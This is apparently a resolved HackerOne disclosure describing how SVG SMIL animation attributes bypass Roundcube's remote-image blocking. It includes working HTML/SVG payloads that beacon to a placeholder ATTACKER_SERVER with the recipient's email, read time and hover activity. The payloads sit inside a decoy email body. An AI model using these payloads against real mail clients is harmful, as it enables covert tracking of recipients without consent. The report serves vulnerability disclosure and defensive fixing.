SMIL values and by attributes bypass remote image blocking via unvalidated resource-loading animations, enabling email tracking without consent

Disclosed: 2026-04-20 12:03:33 By nullcathedral To nextcloud
Medium
Vulnerability Details
When `allow_remote` is set to `false`, Roundcube's HTML sanitizer [rcube_washtml](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_washtml.php) blocks external resources by validating URI attributes through `wash_uri()`. For SVG SMIL animation elements (`<animate>`, `<set>`, etc.), the `to` and `from` attributes are correctly validated by resolving the `attributeName` and routing through the appropriate URI check ([washtml.php L302-308](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_washtml.php#L302-L308)). However, the `values` and `by` attributes are both in the allowed attributes list (`$html_attribs`) and fall through to the generic pass-through at [L335-336](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_washtml.php#L335-L336) with no URI validation whatsoever. Additionally, the element-level animation block at [L573-574](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_washtml.php#L573-L574) only blocks animations targeting `attributeName="href"` (the CVE-2024-37383 fix), allowing animations targeting `mask`, `cursor`, and other resource-loading attributes to pass through. Combined, these two gaps allow an attacker to use SMIL animations to load arbitrary external URLs, bypassing `allow_remote=false`. ## Steps To Reproduce ### Step 1: Zero-click email open tracking via SVG `mask` animation Send an HTML email with the following body: ```html <!DOCTYPE html> <html> <head><title>Important Document</title></head> <body> <h1>Important Information</h1> <p>Dear valued customer,</p> <p>Please review the attached information carefully.</p> <svg width="1" height="1" style="position:absolute;left:-9999px"> <rect width="1" height="1" fill="white"> <animate attributeName="mask" values="url(//ATTACKER_SERVER/[email protected])" fill="freeze" dur="0.001s" /> </rect> </svg> <p>Best regards,<br>Totally Legitimate Company</p> </body> </html> ``` Step 2: Open the email in Roundcube (Firefox) with "Block remote images" enabled. Step 3: Observe HTTP request to `ATTACKER_SERVER/[email protected]` in attacker's server logs. ### Variant: Dwell-time measurement The SMIL `keyTimes` attribute combined with multi-value `values` allows timed beacon firing, measuring how long a recipient views the email: ```html <svg width="1" height="1" style="position:absolute;left:-9999px"> <rect width="1" height="1"> <animate attributeName="mask" values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)" dur="5s" repeatCount="indefinite" /> </rect> </svg> ``` ### Variant: Hover interaction tracking SMIL animation of the CSS `cursor` property fires a resource load when the user hovers over the element: ```html <svg width="400" height="100"> <rect width="400" height="100" fill="#f0f0f0" rx="8"> <animate attributeType="CSS" attributeName="cursor" values="url(//ATTACKER_SERVER/[email protected]), auto" fill="freeze" dur="0.001s" /> </rect> <text x="200" y="55" text-anchor="middle" font-family="Arial" font-size="14" fill="#333" pointer-events="none">Hover over this area</text> </svg> ``` ## Impact Tracking of opens, read time, and element hover
Actions
View on HackerOne
Report Stats
  • Report ID: 3590576
  • State: Closed
  • Substate: resolved
  • Upvotes: 3
Share this report